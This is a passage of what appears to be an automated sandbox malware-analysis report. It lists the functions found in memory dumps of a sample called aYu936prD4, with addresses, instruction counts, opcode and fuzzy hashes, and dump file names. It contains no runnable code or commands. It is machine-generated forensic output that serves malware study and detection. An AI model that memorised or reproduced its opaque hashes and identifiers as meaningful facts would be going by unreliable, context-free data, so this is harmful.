Opcode Fuzzy Hash: f0cca073587d2a3e201751f6a81a1a4d75429f5ea6748fd133c903786572b6ae
Instruction Fuzzy Hash: BF11C622A4E6D99FF706D7788C560EC7FB0EF56210F0980E7D489D71A3D969544E8381

Function 00007FFAAC493B1D Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f76ca68f63796ca9770fc83f5d295f2b107c809337b1b9db60c48a90501deb0
Instruction ID: f1f62f7e0295f426c50f5cd7fd112185ab646bb558e774d57dfee61c61b2f885
Opcode Fuzzy Hash: 7f76ca68f63796ca9770fc83f5d295f2b107c809337b1b9db60c48a90501deb0
Instruction Fuzzy Hash: 9A01D65191EBD54FE3879328586A4B83FA1DF5311574981E7D04DCB293DD0D980E8396

Function 00007FFAAC490C45 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da217196c16f8ffa896dc513086db36d35c333f057d349c693b52586d68a3602
Instruction ID: e9d3a27a0cc982bcfe2f876e10f1d491d648ee5b1373f94269a64841c83a028e
Opcode Fuzzy Hash: da217196c16f8ffa896dc513086db36d35c333f057d349c693b52586d68a3602
Instruction Fuzzy Hash: DC012632B0A9358BF6A4A36D605C0F967D1EB8B3B9740817AD00DC3291DD2EEC4683C4

Function 00007FFAAC49BC95 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb38c2e13fe733adee24805c1665924d9c6bf973e47b3a95852a905725600bf7
Instruction ID: 3f2085695f7f03459e7c7e07539e099ca08c4a915ad8313420484bcfe332a377
Opcode Fuzzy Hash: eb38c2e13fe733adee24805c1665924d9c6bf973e47b3a95852a905725600bf7
Instruction Fuzzy Hash: 1A01F531909B16CBE3759B3898592A532A1FFC6228B458D7ED04DC6182DF3EE88683C4

Function 00007FFAAC496B6D Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0312c7216c78e323c14119859fbf1290a0d5b2f49c9d4aef354426f71b5132
Instruction ID: e70cd42bd7626c59cc2b4d370f8eccc9699ffa35383cd626bc6de3218b182736
Opcode Fuzzy Hash: 4e0312c7216c78e323c14119859fbf1290a0d5b2f49c9d4aef354426f71b5132
Instruction Fuzzy Hash: E2014732A0EA248FF3E4976850A90B477D1EF5A22970481BAC00DC3292DD2EEC458384

Function 00007FFAAC5634B0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785263341.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac560000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9089dc7e55e071bf97ca6ca774a1b59e9a2c9b87441daa06b26558404938e3d
Instruction ID: 24e366d794db21d7fe83c3c889f6b8a432151d66d227fd7a007a4a6e5e76c437
Opcode Fuzzy Hash: a9089dc7e55e071bf97ca6ca774a1b59e9a2c9b87441daa06b26558404938e3d
Instruction Fuzzy Hash: 2601246141E7C58FE71747388868920BFA09F1720574F01DBD0C9CF4B3DA499809D362

Function 00007FFAAC496B20 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad33267eac91ed14a872ce90cd541b48654981e7750685976ee52df907e1c1cf
Instruction ID: e80ae2260060234bebe0030f6439df973d5bbe981b9299124c618782d31002f5
Opcode Fuzzy Hash: ad33267eac91ed14a872ce90cd541b48654981e7750685976ee52df907e1c1cf
Instruction Fuzzy Hash: A8F0F65681F7F24FF7A147696C580E46FD0DF1321470A80EBC06C8B0A2E44D9C8A83C5

Function 00007FFAAC494210 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91702f6596ed1465ebe3c7b57ce2386b388c107c545a07662a16069a25591b2b
Instruction ID: 253ae171efbec7b69e67e1fe3c37e17f06e9388180e32ac85ca0474e63111230
Opcode Fuzzy Hash: 91702f6596ed1465ebe3c7b57ce2386b388c107c545a07662a16069a25591b2b
Instruction Fuzzy Hash: 4FF0F60144EBD50FD707933898295A07FB0AF53114B4EC0EBC449CA093DA4C980EC393

Function 00007FFAAC493BB0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ad2b90905590b06b1f86509497bad866fc7c0ae4dd7dea5adf3b10a049625d6
Instruction ID: d6b32c68d01446ed6200a7dc2199aac92f001a9e3c7903caf0a7087eb91559a4
Opcode Fuzzy Hash: 1ad2b90905590b06b1f86509497bad866fc7c0ae4dd7dea5adf3b10a049625d6
Instruction Fuzzy Hash: A2F0E970A18D0A8FEF94EB2CC444D62B3D1FF55304754C569D40EC3256E939EC424780

Function 00007FFAAC492299 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3853cf440d6d14346920ec247018e7652075b2b9ffd280154bd6658d54ca83f4
Instruction ID: 9f1638cb8c6e731ae72e7e12c927b3f49f8548ca154eb44850fac797b012b832
Opcode Fuzzy Hash: 3853cf440d6d14346920ec247018e7652075b2b9ffd280154bd6658d54ca83f4
Instruction Fuzzy Hash: 25E0ED21A098098FE348A32CE4007AAA1D5DBCA350F9441BAF44DC32DBDD6A8C464381

Function 00007FFAAC492042 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e4af5c9ef4859696434f5003e2ba6a73872bd456914eae699a43cc0e3ba4da
Instruction ID: 21ad0284b0c2bd0b07d27e8e707afd9a1a945e6b2acb7236dd87bba101c03279
Opcode Fuzzy Hash: 55e4af5c9ef4859696434f5003e2ba6a73872bd456914eae699a43cc0e3ba4da
Instruction Fuzzy Hash: 42F082B6E287558BF798CE68844967C76E2EB55201F00C4BAE44ED2582DD3899468B44

Function 00007FFAAC49C73A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf144253cc8a000bd1fa05f59b32000cd4a453466b6d2bc88e68e412ec973e0
Instruction ID: 368faadd579387e095f2cba2aea4cc366232e1ec862901ec5ac3b3969e6b8b89
Opcode Fuzzy Hash: cdf144253cc8a000bd1fa05f59b32000cd4a453466b6d2bc88e68e412ec973e0
Instruction Fuzzy Hash: AFF01271B1D6218B931CCA29986053972D2AFD9315B14953EF08FC73D1CE29DC018A46

Function 00007FFAAC4901B8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cdf79e4b9bb1990f60cdc8d6a5de640597e47d42d6dff719a8eb59a4a7438cb
Instruction ID: bae998810653ea62d9ee933b3cc45584d4bcb84a891a93ff493fcbaae37d5b0a
Opcode Fuzzy Hash: 0cdf79e4b9bb1990f60cdc8d6a5de640597e47d42d6dff719a8eb59a4a7438cb
Instruction Fuzzy Hash: 94E09270518A189BE398EB28904867A76D0EB58355F00192FB48EE2390CA6988848786

Function 00007FFAAC49B270 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba9eba6c1bf29bbc7d0e5e933674a9db2e842e454a3fe4586e766537596f02c
Instruction ID: 721ff0c6ee3b14abb2d83b4f5db867335e5667327c78436305df0849be13354c
Opcode Fuzzy Hash: 2ba9eba6c1bf29bbc7d0e5e933674a9db2e842e454a3fe4586e766537596f02c
Instruction Fuzzy Hash: 76E092A481E3D05FE3165B344C26599BFA0AB93204F8845EEE4C9CB193C56D9149C397

Function 00007FFAAC494240 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc15b2749b70fa615889c29b0832ad33d9fefd5afe5d9eda242557b842b2da3
Instruction ID: 16df335207bd9233439ab4f827a609ccf5bc5e28a7371c8d6396a6b90dc1045a
Opcode Fuzzy Hash: 0fc15b2749b70fa615889c29b0832ad33d9fefd5afe5d9eda242557b842b2da3
Instruction Fuzzy Hash: 0BD02311A59C2D0B5A58F22DB849DFA72D1CBD9220784C177D80FC3259DC4D5C8643C5

Function 00007FFAAC491D4D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1edf4dd6f65dd6578a692ebfe7c49b5397fdd7d54bcc46dd907ca68b494c2c
Instruction ID: ccbfa92e5843d18ff8e07c5b4e3b321a483294ee84dde5dcaf0b0b8eced31c9e
Opcode Fuzzy Hash: 1b1edf4dd6f65dd6578a692ebfe7c49b5397fdd7d54bcc46dd907ca68b494c2c
Instruction Fuzzy Hash: E7F06571D1511A8FEB0CCB54C5A1BBEF772AF85200F00C0A6D00ADB195CA386A15CB40

Function 00007FFAAC56575E Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785263341.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac560000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c0698eda6cf86376b1c1bd9d619d70a9ff6fb6ef8089823e8aad4d1ca619ac8
Instruction ID: 207bec40e95161a839a988c3bbf414cfb98ed6d7667bcd2aef53e4701fb10662
Opcode Fuzzy Hash: 0c0698eda6cf86376b1c1bd9d619d70a9ff6fb6ef8089823e8aad4d1ca619ac8
Instruction Fuzzy Hash: 31D0A902B1EA090BA28926AE68C52B892C0DB8A022B6440B6E50DC22A2CC088C9A0281

Function 00007FFAAC491638 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fafc42872a7c90dd27762bc9d2d18790f6ac47766df8ead5e5ee756732deef7
Instruction ID: 9f9bc46f6f0a11be916d6f89214e293e245e554d26e0a8ae539a7ec6278bcbd1
Opcode Fuzzy Hash: 2fafc42872a7c90dd27762bc9d2d18790f6ac47766df8ead5e5ee756732deef7
Instruction Fuzzy Hash: 3DD0127083865447E754AF34480956AB6D0FB84348FC0492DF88DC1190DB2DD2488686

Function 00007FFAAC4967A1 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40ccfdab60fbf7a682c43980f2d2867068bf5d43dcad05c4188f65b8dbd40285
Instruction ID: 8a1fdf529b64353996e60e1212828de0a96620a24b3ae47c6c49d08324900e3b
Opcode Fuzzy Hash: 40ccfdab60fbf7a682c43980f2d2867068bf5d43dcad05c4188f65b8dbd40285
Instruction Fuzzy Hash: 0BB01204B458390B75C0615C30015E8A1C107850107818020D41CC1285DC4E4D8301CE

Non-executed Functions

Function 00007FFAAC490F25 Relevance: 3.9, Strings: 3, Instructions: 172COMMON

Download Yara Rule

Strings

cC9, xrefs: 00007FFAAC4C1783
"V, xrefs: 00007FFAAC4C1700
&:K, xrefs: 00007FFAAC4C17A5

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: "V$&:K$cC9
API String ID: 0-975804463
Opcode ID: 15d0631e9ebc5520fefc6aa85fae384f42138a7fcc1064074ddc6b163b260fd3
Instruction ID: e3ffaac4cd22e60f4f13c8bf68919ec9aea7c65740dcc377c9fad1c3be0bea4e
Opcode Fuzzy Hash: 15d0631e9ebc5520fefc6aa85fae384f42138a7fcc1064074ddc6b163b260fd3
Instruction Fuzzy Hash: BB412931B299198BB75CA62D8C5B47A73D6DB8A315704917DE88BC33E3ED28EC1342C5

Function 00007FFAAC49138D Relevance: 2.8, Strings: 2, Instructions: 286COMMON

Download Yara Rule

Strings

#+1, xrefs: 00007FFAAC49138E
"#1, xrefs: 00007FFAAC491396

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: "#1$#+1
API String ID: 0-474003241
Opcode ID: 10d83c31ff396acc452cccf3e155bebe7817ed3b7cf9d95723bb4e4c3bacdf4a
Instruction ID: ca8b6a23c3f6e8ae98e00312dfdc8953d5a3991c5b77303beecaf520503cdf53
Opcode Fuzzy Hash: 10d83c31ff396acc452cccf3e155bebe7817ed3b7cf9d95723bb4e4c3bacdf4a
Instruction Fuzzy Hash: 98713732B6D5064BA75CAA3D985617A73C7E7CB21A324913FE4CBC3696EC24EC0742C5

Function 00007FFAAC490DBD Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

#7, xrefs: 00007FFAAC49979F
ge, xrefs: 00007FFAAC49962E

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: ge$#7
API String ID: 0-3736658758
Opcode ID: 6d62581e009f23b3924153c4993ecaee305c0018784ced92f7191a2e752d1237
Instruction ID: be7c7416529c0e1f5289fe9c773f1d0041ca3437113d2aab7a6713497aaeb087
Opcode Fuzzy Hash: 6d62581e009f23b3924153c4993ecaee305c0018784ced92f7191a2e752d1237
Instruction Fuzzy Hash: 6B41F522B195158BA75C992E984A07932CBD7EA705714C23EF48FC33D6DC2CEC1B8285

Function 00007FFAAC490650 Relevance: 1.7, Strings: 1, Instructions: 485COMMON

Download Yara Rule

Strings

;0;z, xrefs: 00007FFAAC4E1050

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: ;0;z
API String ID: 0-2925998646
Opcode ID: 2e8537f197d670c93fcb21d7e340b76d2998253bd2b894994133b87632f4f39d
Instruction ID: 8fddd9f57b9f20413d2b0daefa694decf5cc0274dbd5d903f5b1f320b500af5f
Opcode Fuzzy Hash: 2e8537f197d670c93fcb21d7e340b76d2998253bd2b894994133b87632f4f39d
Instruction Fuzzy Hash: 96D1387172C6414BA70CCE2D889607A72D3EBDE315B14963EF58BC73D6DE28EC064686

Function 00007FFAAC490E5D Relevance: 1.6, Strings: 1, Instructions: 345COMMON

Download Yara Rule

Strings

.1, xrefs: 00007FFAAC4FA50E

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: .1
API String ID: 0-452991977
Opcode ID: c1cebfdab756538a2a3cb6fd1867e67ef8c0faab6389ada86f68df08af2fb7ff
Instruction ID: 4b71c555f90cbd2bfabf0f342dc4c4c7e42d33bed5dd8ff69e5aabc6b15d5e3f
Opcode Fuzzy Hash: c1cebfdab756538a2a3cb6fd1867e67ef8c0faab6389ada86f68df08af2fb7ff
Instruction Fuzzy Hash: AEA17830B19A198BF72DEB2C945A57932C2EB86714B24813DD44FC73D2DD28F85A86C8

Function 00007FFAAC4904E5 Relevance: 1.6, Strings: 1, Instructions: 340COMMON

Download Yara Rule

Strings

,u0Z, xrefs: 00007FFAAC4D1EB0

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: ,u0Z
API String ID: 0-3445812024
Opcode ID: 2b14c8fd4a9fe3ae30c47e3d439c69aaf272543077096a8d5a9880ce1a735b20
Instruction ID: 792882b4179a0ec008174410a3d12023c160b64dcff5c7cfe52cd83b850a4451
Opcode Fuzzy Hash: 2b14c8fd4a9fe3ae30c47e3d439c69aaf272543077096a8d5a9880ce1a735b20
Instruction Fuzzy Hash: 5D81493271D9114BA71CEA2D9C5A57A72D7EBCA325318913EE44FC73A2ED24EC438684

Function 00007FFAAC4910E8 Relevance: 1.5, Strings: 1, Instructions: 284COMMON

Download Yara Rule

Strings

Y4, xrefs: 00007FFAAC4D9C02

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: Y4
API String ID: 0-3920183420
Opcode ID: 0da33892945babd12055a2bd0b815973a033b6f82e13538f737dc4c27bb6d053
Instruction ID: 5eb0f5b03209c78fcab32cb87bf4ec50508c7be50c3343ce0296b92d2daeda73
Opcode Fuzzy Hash: 0da33892945babd12055a2bd0b815973a033b6f82e13538f737dc4c27bb6d053
Instruction Fuzzy Hash: 5F715821B185028FFB5CAA3D982A63536C7EBE9314B14817EE84FC73D6ED24DC4682C5

Function 00007FFAAC498F1C Relevance: 1.5, Strings: 1, Instructions: 278COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC498D7D

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 565a22cd4e6f300412ad54bdf9c798d1f3dbdfb4d710a74d3e0835debe10bf64
Instruction ID: 24fbaa443debdafbd753404ddcec03d089e3fac95e68ec4476058bfa0792bdcb
Opcode Fuzzy Hash: 565a22cd4e6f300412ad54bdf9c798d1f3dbdfb4d710a74d3e0835debe10bf64
Instruction Fuzzy Hash: 0A81B230B197458FE76CDA2CC4966BA73D2EBDD304F14853E908FC7691CE39A8468782

Function 00007FFAAC490D00 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

av@Q, xrefs: 00007FFAAC4B0E79

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: av@Q
API String ID: 0-515339775
Opcode ID: b648966e04082d5e61562c94b013a44f95157931bcfacc8839198cec07c90850
Instruction ID: 86b3f22c775dfefd18d544caf687abd19b06441c8e9b1259999b49a6d7dcdb5e
Opcode Fuzzy Hash: b648966e04082d5e61562c94b013a44f95157931bcfacc8839198cec07c90850
Instruction Fuzzy Hash: 56615535B19A088FA75CEA2D985953973C7EBCA316304917EE08FC73A3DD34EC468684

Function 00007FFAAC4904CD Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

>, xrefs: 00007FFAAC4D23E3

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-3901299440
Opcode ID: 2c6698f26db4166bfabdf8a3b0f753b86556ef99a330d078215b20a3b3e123f0
Instruction ID: d3e8011ad99bb32cb4fa835f6711368ab002aa98ce62aa527eff498a2289b7fb
Opcode Fuzzy Hash: 2c6698f26db4166bfabdf8a3b0f753b86556ef99a330d078215b20a3b3e123f0
Instruction Fuzzy Hash: 7D514B32B1D4264BF31CDA2E8C5A57736D6EB97724315827EE48FC7592DD18E80782C8

Function 00007FFAAC490A0D Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

Kaj), xrefs: 00007FFAAC4C38ED

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: Kaj)
API String ID: 0-4192516726
Opcode ID: 44a9c064ffc4c0fae49a2840e38960a830ec9ed94631300085818ff8f83075ed
Instruction ID: d5a0317dd2852649ec1d9e551d2bcad2be18f480feda85a46e846268fe6b6932
Opcode Fuzzy Hash: 44a9c064ffc4c0fae49a2840e38960a830ec9ed94631300085818ff8f83075ed
Instruction Fuzzy Hash: 9041FF317084054FA32CEA2C985B57A76C7E7DA314764827EE48BC72E6ED24EC1786C6

Function 00007FFAAC490605 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

$)7', xrefs: 00007FFAAC4C25F2

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: $)7'
API String ID: 0-210079557
Opcode ID: 8294afe9b9b203ce6cbfa68121ee807b81f5f35ee78a1416c7596c78bab5f634
Instruction ID: 4b6af12d567a6009e46aecc4d85eb3cc4b8cf94df12d670b5f7d73045cff887b
Opcode Fuzzy Hash: 8294afe9b9b203ce6cbfa68121ee807b81f5f35ee78a1416c7596c78bab5f634
Instruction Fuzzy Hash: 97312226B6D1414BA32CDA2D884603672CBE7CB31A724E13EF48BC6296DD24EC074184

Function 00007FFAAC490EE5 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

5L_^, xrefs: 00007FFAAC490F01

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID: 5L_^
API String ID: 0-784440899
Opcode ID: 3cca900c5ceb35f8d665e48d4b78ec9beb77344645518140a31156b46007554a
Instruction ID: d0573f4243bf5b9dd079e5d78c9c1abae6943d452cb369b9bedc155ca2f10ca8
Opcode Fuzzy Hash: 3cca900c5ceb35f8d665e48d4b78ec9beb77344645518140a31156b46007554a
Instruction Fuzzy Hash: 9631F6313085188FE75CEA6DC85AA7A77E6EB89320705813EE44ACB2A2DD24DC46C680

Function 00007FFAAC4B9E07 Relevance: .5, Instructions: 484COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf628c78484e67a222f51ceb9ea0429223a973196ef70d724a569bd502e71b9
Instruction ID: f6ded32f61b2e148f59549700d6b207a1fc0315c858a820db5c0ebbfac9842b2
Opcode Fuzzy Hash: 2bf628c78484e67a222f51ceb9ea0429223a973196ef70d724a569bd502e71b9
Instruction Fuzzy Hash: EAE1367150E7C64FE31A8B2898651E57FE1EF57314F0942EFD48ACB197DA28A80AC391

Function 00007FFAAC490E95 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07efd2ab040fc602d25167d9a4515feebe62a4eaab65b77675c335ffb24a8128
Instruction ID: fb11ce57c3af593303f273b9bf4161b722844b2ee84ae0713c38b931e853cdd0
Opcode Fuzzy Hash: 07efd2ab040fc602d25167d9a4515feebe62a4eaab65b77675c335ffb24a8128
Instruction Fuzzy Hash: B8B1D4217198154BA71CD52E986A07A71C7DBDE715319D23EF08FCB3DADD24EC268288

Function 00007FFAAC490A8D Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2980552063dcfc8993d98ed95ae6b06ea15e9f1fcb305e5ca916d96d584c83d3
Instruction ID: 6f82feab433d9caef22e36c86e9be536281400aae3a26ae07239955bd1a016c3
Opcode Fuzzy Hash: 2980552063dcfc8993d98ed95ae6b06ea15e9f1fcb305e5ca916d96d584c83d3
